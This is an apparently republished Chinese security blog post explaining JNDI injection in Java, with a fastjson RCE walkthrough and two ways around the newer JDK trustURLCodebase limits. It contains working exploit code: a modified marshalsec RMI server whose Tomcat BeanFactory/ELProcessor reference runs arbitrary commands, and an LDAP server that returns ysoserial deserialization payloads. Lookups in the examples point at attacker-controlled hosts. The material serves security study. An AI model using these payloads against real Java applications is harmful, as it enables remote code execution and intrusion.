文章目錄
- 前言
- JNDI 101
- 什么是JNDI
- 使用JNDI的好處
- 幾個簡單的JNDI代碼示例
- 1、使用JNDI操作RMI
- 2、使用JNDI操作LDAP
- JNDI動態協議轉換
- JNDI Naming References
- JNDI 注入利用
- RMI向量
- LDAP向量
- 其他向量
- 繞過高版本JDK限制
- 方式1、利用本地Class作為JNDI Reference Factory
- 方式2、LDAP Server回傳序列化資料,觸發本地反序列化Gadget
- 坑
- Reference
前言
關于JNDI注入的討論和研究,起源于國外的安全研究員@pwntester在2016年Blackhat的一個議題:<A Journey from JNDI/LDAP operation to remote code execution dream> (參考[1]).
本文是筆者之前學習JNDI注入原理的記錄,因為博客遷移,以及最近進行Java漏洞攻防方面的知識回顧和梳理,遂在之前舊博客的基礎上進行補充,內容包括JNDI注入原理,以及在Tomcat環境下如何繞過高版本JDK的限制進行利用,
JNDI 101
什么是JNDI
JNDI(Java Naming Directory Interface) 是Java提供的一個通用介面,使用它可以與各種不同的命名服務(Naming Service)和目錄服務(Directory Service)進行互動,比如RMI(Remote Method Invocation),LDAP(Lightweight Directory Access Protocol),Active Directory,DNS,CORBA(Common Object Request Broker Architecture)等,
其中Naming Service 是物件和名稱系結在一起,然后可以通過名稱去查找相應的物件,
而Directory Service是一種特殊的Naming Service,它允許存盤和查找Directory物件,Directory物件和一般的物件不同在于它可以將屬性和物件相關聯,
官方提供的JNDI 架構圖如下:

使用JNDI的好處
JNDI自身并不區分客戶端和服務器端,也不具備遠程能力,但是被其協同的一些其他應用一般都具備遠程能力,JNDI在客戶端和服務器端都能夠進行一些作業,客戶端上主要是進行各種訪問,查詢,搜索,而服務器端主要進行的是幫助管理配置,也就是各種bind操作,比如在RMI服務器端上可以不直接使用Registry進行bind操作,而是使用JNDI統一管理,當然JNDI底層應該還是呼叫的Registry進行bind,但好處JNDI提供的是統一的配置介面;在客戶端也可以直接通過類似URL的形式來訪問目標服務,可以看后面提到的JNDI動態協議轉換,把RMI換成其他的例如LDAP、CORBA等也是同樣的道理,
另外,如上圖的JNDI分層結構中,對SPI層和Naming Manager層,JVM在驗證從何處加載遠程類時的行為是不同,換言之,JVM對于從遠程加載類有兩種不同的安全級別,分別是SPI級別和Naming Manager級別,
在SPI級別中,如果JVM允許從遠程加載類,需要根據不同的服務提供者(如RMI、LDAP、CORBA)來決定是否強制安裝Security Manager安全管理器,具體條件如下表:

但是, Naming Manager層放寬了安全限制,解碼JNDI命名參考時,始終允許從遠程代碼庫加載類,而沒有JVM選項來禁用它,并且不需要強制安裝任何安全管理器,這使攻擊者可以利用特定的情況來遠程執行自己的代碼,
幾個簡單的JNDI代碼示例
1、使用JNDI操作RMI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
//將名稱refObj與一個物件系結,這里底層也是呼叫的rmi的registry去系結
ctx.bind("refObj", new RefObject());
//通過名稱查找物件
ctx.lookup("refObj");
2、使用JNDI操作LDAP
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通過名稱查找遠程物件,假設遠程服務器已經將一個遠程物件與名稱cn=foo,dc=test,dc=org系結了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
JNDI動態協議轉換
上面的兩個例子都手動設定了對應服務的工廠以及對應服務的Context.PROVIDER_URL,但是JNDI是能夠進行動態協議轉換的,
如:
Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");
上面沒有設定對應服務的Context.INITIAL_CONTEXT_FACTORY以及Context.PROVIDER_URL,JNDI根據傳遞的URL協議自動轉換與設定了對應的Context.INITIAL_CONTEXT_FACTORY與Context.PROVIDER_URL,
JNDI Naming References
為了在命名服務或目錄服務中系結Java物件,可以使用Java序列化來傳輸物件,但有時候不太合適,比如Java物件較大的情況,因此JNDI定義了命名參考(Naming References),后面直接簡稱參考(References),這樣物件就可以通過系結一個可以被命名管理器(Naming Manager)解碼并決議為原始物件的參考,間接地存盤在命名或目錄服務中,
參考由Reference類來表示,它由地址(RefAddress)的有序串列和所參考物件的資訊組成,而每個地址包含了如何構造對應的物件的資訊,包括參考物件的Java類名,以及用于創建物件的ObjectFactory類的名稱和位置,
Reference可以使用ObjectFactory來構造物件,當使用lookup()方法查找物件時,Reference將使用提供的ObjectFactory類的加載地址來加載ObjectFactory類,ObjectFactory類將構造出需要的物件,可以從遠程加載地址來加載ObjectFactory類,這是攻擊者關注的點,
Reference reference = new Reference("refClassName","FactoryClassName",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("refObj", wrapper);
JNDI 注入利用
有了前面的基礎知識,再來看看如何利用JNDI注入來實作RCE,
前面說到,存盤在命名服務或目錄服務的Reference參考可以使用ObjectFactory來構造物件,而Reference可以根據指定的加載地址去加載遠程的ObjectFactory類,
假如lookup()去查詢的RMI/LDAP服務器是一個惡意的服務器,該惡意服務器會回傳一個Reference物件,這個Reference物件會根據攻擊者指定的地址去遠程加載一個惡意的ObjectFactory類,從而使得這個ObjectFactory類中的惡意代碼被執行,
不管是lookup查詢的是RMI服務還是LDAP服務,整個JNDI注入利用程序都可以歸結如下:
- (1) 目標程式呼叫
InitialContext#lookup(String)進行JNDI操作,且引數是用戶可控,攻擊者傳入URL指向自己的惡意RMI/LDAP服務器; - (2) 惡意
RMI/LDAP服務器向目標程式回傳一個惡意的JNDI參考Reference,該Reference物件包含了攻擊者指定的惡意ObjectFactory類的加載地址; - (3) 目標程式解碼該JNDI Reference,得到惡意
ObjectFactory類的加載地址; - (4) 目標程式從攻擊者指定的遠程加載地址獲取惡意
ObjectFactory類的class位元組碼; - (5) 實體化獲取到的惡意
ObjectFactory類,ObjectFactory類中的惡意代碼得以執行,
如下圖:

下面以fastjson <= 1.2.47的反序列化RCE漏洞為例,通過原始碼除錯的方式加深對JNDI注入利用的理解,
環境:
(1) 基于Springboot搭建的簡單web程式;
(2) JDK版本:8u101;
(3)fastjson的版本為1.2.47
(4) 使用marshalsec工具快速啟動RMI或LDAP服務.
(5) 使用Python快速啟動HTTP服務,用來托管惡意ObjectFactory類,
以下GIF圖以RMI向量為例,演示整個攻擊的程序:

下面對RMI/LDAP向量分別進行原始碼除錯,
RMI向量
使用Burpsuite向目標程式發送fastjson的exploit后,首先來到InitialContext#lookup(String),引數是exploit中指定的rmi://192.168.3.36:8085/Exploit,

繼續往下走,會在RegistryContext#lookup(Name)中向惡意RMI服務器發起查詢請求,然后將請求得到的JNDI參考物件保存到變數var2中,這個JNDI參考物件其實是ReferenceWrapper,它是對Reference物件的封裝,然后將var2傳入RegistryContext#decodeObject()對JNDI參考進行解碼,從ReferenceWrapper物件中獲取Reference物件,


繼續往下走,會在NamingManager#getObjectInstance()中,呼叫NamingManager#getObjectFactoryFromReference() 加載ObjectFactory類,

來看看NamingManager#getObjectFactoryFromReference()是如何實作的:

可以看到,會呼叫VersionHelper12#loadClass(String className, String codebase)方法去遠程地址加載惡意的ObjectFactory類,VersionHelper12#loadClass()實際上呼叫的就是Class.forName(),使用的類加載器是URLClassLoader,


再回過頭看NamingManager#getObjectFactoryFromReference(),遠程獲取到ObjectFactory類的位元組碼后,會呼叫newInstance()方法實體化物件,然后將ObjectFactory物件回傳,回傳后,在NamingManager#getObjectInstance()中,會呼叫ObjectFactory#getObjectInstance()方法構造所要查詢的原始物件并回傳,
因此,我們的惡意代碼可以寫在以下三個地方:
- (1)
ObjectFactory類的靜態代碼塊; - (2)
ObjectFactory類的構造方法; - (3)
ObjectFactory#getObjectInstance()方法中, - 這三種方式,ObjectFactory類的名字均可隨意指定,但方式(3)需要你的類實作
javax.naming.spi.ObjectFactory介面,
整個利用程序的主要呼叫堆疊如下:
InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->惡意代碼被執行
或: objectfactory#getObjectInstance() //-->惡意代碼被執行
LDAP向量
LDAP向量的話,只是lookup時背景關系使用了不同的背景關系物件,處理ldap查詢的細節不同而已,整個JNDI注入利用流程還是一樣的,所以這里就不細說了,
整個利用程序的主要呼叫堆疊如下:
InitialContext#lookup()
LdapCtx#c_lookup()
Obj#decodeObject()
DirectoryManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->惡意代碼被執行
或: objectfactory#getObjectInstance() //-->惡意代碼被執行
其他向量
更多其他攻擊向量詳見<A Journey from JNDI/LDAP operation to remote code execution dream> (參考[1]),
平時代碼審計挖洞的時候,要留意這些地方,
繞過高版本JDK限制
要注意的是,針對JNDI注入,后續的JDK版本,先后對RMI/LDAP兩個攻擊向量做了默認情況的限制:
- Oracle JDK 8u121, 7u131, 6u141及以后的版本,為了限制RMI協議的JNDI利用,將系統屬性
com.sun.jndi.rmi.object.trustURLCodebase的默認值設定為false,即默認不允許RMI從遠程地址加載objectfactory類,
Changelog:
JDK 6u141: http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
JDK 7u131: http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
JDK 8u121: http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
在com.sun.jndi.rmi.registry.RegistryContext#decodeObject()方法中會做判斷:

- Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,為了限制LDAP協議的JNDI利用,將系統屬性
com.sun.jndi.ldap.object.trustURLCodebase的默認值設定為false,即默認不允許LDAP從遠程地址加載objectfactory類,
Changelog:
JDK 8u191: https://www.oracle.com/java/technologies/javase/8u191-relnotes.html
在com.sun.naming.internal.VersionHelper12#loadClass()方法中會做判斷:


換言之,前面討論的JNDI注入利用,在后續版本的JDK中,默認情況下都已失效,那么有沒有辦法繞過高版本JDK的限制,使JNDI注入再次生效呢?
方式1、利用本地Class作為JNDI Reference Factory
安全研究員@Michael Stepankin在文章< Exploiting JNDI Injections in Java> (參考[2])中給出了這種在Tomcat環境下可行的方法,
雖然高版本JDK默認情況下不允許JNDI Reference從遠程地址加載ObjectFactory類,但仍舊可以加載一個存在于本地環境classpath的ObjectFactory類,
以RMI向量為例,查看RegistryContext#decodeObject(),回傳的Reference物件中,只要遠程加載地址factoryClassLocation為null時,便會進入NamingManager.getObjectInstance()加載指定的本地ObjectFactory類,關鍵代碼如下:



因此,這個本地classpath環境里的ObjectFactory類,需要滿足以下條件:
- (1) 有無參構造方法;
- (2) 實作了
javax.naming.spi.ObjectFactory介面,同時實作了該介面的getObjectInstance()方法,并且在getObjectInstance()方法中,會通過Reference中的屬性可能會作一些危險的操作,
Tomcat里的org.apache.naming.factor.BeanFactory類就滿足上述條件,在BeanFactory#getObjectInstance()方法里,會通過反射機制去創建任意的Java bean物件,并呼叫該bean物件的所有屬性的setter方法對其屬性進行賦值,而且bean的類名、屬性和屬性值都來自可被攻擊者控制的Reference物件,
另外,非常有意思的是,在BeanFactory#getObjectInstance()方法的邏輯里,可以根據Reference的forceString屬性,來強制將bean物件某個屬性的setter方法名指定為非setXXX(),舉個例子,假設攻擊者將Reference的forceString屬性設定為x=eval,那么bean物件的x屬性的setter方法名就會變成eval,
因為BeanFactory#getObjectInstance()的代碼比較長,這里就不貼了,有興趣的讀者自行查閱原始碼,很有意思,
再根據BeanFactory#getObjectInstance()方法里的邏輯,要想實作執行惡意代碼的目的,我們需要找到一個Java bean,這個bean類得具有public型別的無參構造方法,還得存在一個public型別的成員方法且引數只有一個,型別為String,關鍵這個成員方法還得執行危險操作,
同樣也是Tomcat環境下的javax.el.ELProcessor類就符合上述要求,關鍵ELProcessor#eval(String)方法可以把傳入的字串作為Java EL運算式去執行,
因此,筆者在marshalsec工具里新建了一個RMI服務類RMIRefServer_BypassHighJDK,在RMIRefServer類的基礎上進行修改,關鍵部分代碼如下,主要就是回傳的Reference物件的修改:
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef rref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
rref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
String expr1 = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec([";
String expr2 = "])\")";
String cmdArrStr = "";
for (int i = 0; i < this.cmdArray.length; i++) {
if (i != this.cmdArray.length - 1) {
cmdArrStr = cmdArrStr + "'" + this.cmdArray[i] + "',";
} else {
cmdArrStr = cmdArrStr + "'" + this.cmdArray[i] + "'";
}
}
String expr = expr1 + cmdArrStr + expr2;
System.out.println("expr=" + expr);
rref.add(new StringRefAddr("x", expr));
Reflections.setFieldValue(rw, "wrappee", rref);
由于高版本JDK,對于LDAP/RMI的限制是一樣的,所以這里為了簡單起見,就拿RMI服務為例進行修改,
利用這種方式繞過高版本JDK進行JNDI注入的攻擊演示如下GIF圖:

其實還可以舉一反三,找找其他常見的Java Web環境是否還存在這樣的ObjectFactory類,比如Jetty、Weblogic、JBoss、Resin等,隨著Springboot的大行其道,內嵌Tomcat還是最常見的,
方式2、LDAP Server回傳序列化資料,觸發本地反序列化Gadget
LDAP目錄服務,除了可以存盤JNDI Reference物件,還可以存盤Java序列化物件,所以我們的LDAP Server可以回傳惡意的序列化物件給目標程式,觸發本地的反序列化Gadget來實作RCE,
下面紅框內的代碼,表示目標程式對LDAP Serverlookup()查詢操作時,解碼物件的程序中,如果發現LDAP Server回傳的是一段Java序列化的資料,則進行Java反序列化操作,


所以可以在marshalsec專案的LDAPRefServer的基礎上,創建新的LDAP Server類LDAPRefServer_BypassHighJDK,關鍵代碼如下:
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
// e.addAttribute("javaFactory", this.codebase.getRef());
//傳入的是ysoserial生成的序列化payload
e.addAttribute("javaSerializedData", Base64.getDecoder().decode(this.payloadSerialBase64));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
在上面基于Springboot的fastjson應用中添加commons-collections:3.2.1依賴包,使用的JDK版本為8u201,重新編譯打包,運行,
攻擊演示如下:

坑
這里一開始使用ysoserial CommonsCollections的利用鏈利用失敗,除錯的時候發現報錯,提示資訊如下:Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
但我在目標環境確實參考的commons-collections的版本是3.2.1,這個針對反序列化的修復是在3.2.2版本才加入的,所以很疑惑為什么會利用不成功,
后來我從IDEA的報錯資訊中的方法呼叫堆疊點進報錯的代碼檔案,發現類檔案并不是commons-collections包里的,而是位于openjpa-all這個依賴包里(這個依賴包是我以前測驗其他程式的時候引入的,忘記去掉了…囧…),原來,openjpa-all這個依賴包的代碼里,包含了commons-collections修復版本的類給加進去了,如圖:

所以在反序列化我們的payload的時候,目標程式就去這個依賴包里找對應的類,所以導致利用失敗,把openjpa-all依賴包去掉即可,

Reference
[1] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
[2] https://www.veracode.com/blog/research/exploiting-jndi-injections-java
[3] https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/352111.html
標籤:其他
下一篇:dc-4靶機滲透記錄
